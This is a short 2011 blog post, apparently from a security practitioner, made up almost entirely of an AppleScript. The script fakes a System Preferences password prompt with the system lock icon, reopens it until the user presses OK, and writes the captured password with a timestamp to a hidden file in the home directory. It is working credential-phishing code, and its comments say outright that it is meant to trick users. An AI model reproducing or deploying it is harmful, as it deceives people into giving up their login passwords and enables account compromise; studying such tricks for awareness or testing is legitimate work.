Tuesday, October 25, 2011

Fun with AppleScript

--
-- Description: This script prompts the user to enter their password
--        in order to perform a privileged function.  The password
--        is subsequently saved to a hidden file in their home directory.
--        The "Cancel" button is the default on the dialog which
--        will hopefully encourage the user to enter accurate info.
--
-- Author: Joff Thyer, October 2011
--
set filename to ((path to home folder) as string) & ".mpass"
set myprompt to "Type your password to allow System Preferences to make changes"

set ans to "Cancel"
repeat
    try
        set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
        set ans to button returned of d_returns
        set mypass to text returned of d_returns
        if ans = "OK" then exit repeat
    end try
end repeat

try
    set now to do shell script "date '+%Y%m%d_%H%M%S:'"
    set myfile to open for access filename with write permission
    set outstr to now & mypass & "
"
    write outstr to myfile starting at eof
    close access myfile
on error
    try
        close access myfile
    end try
end try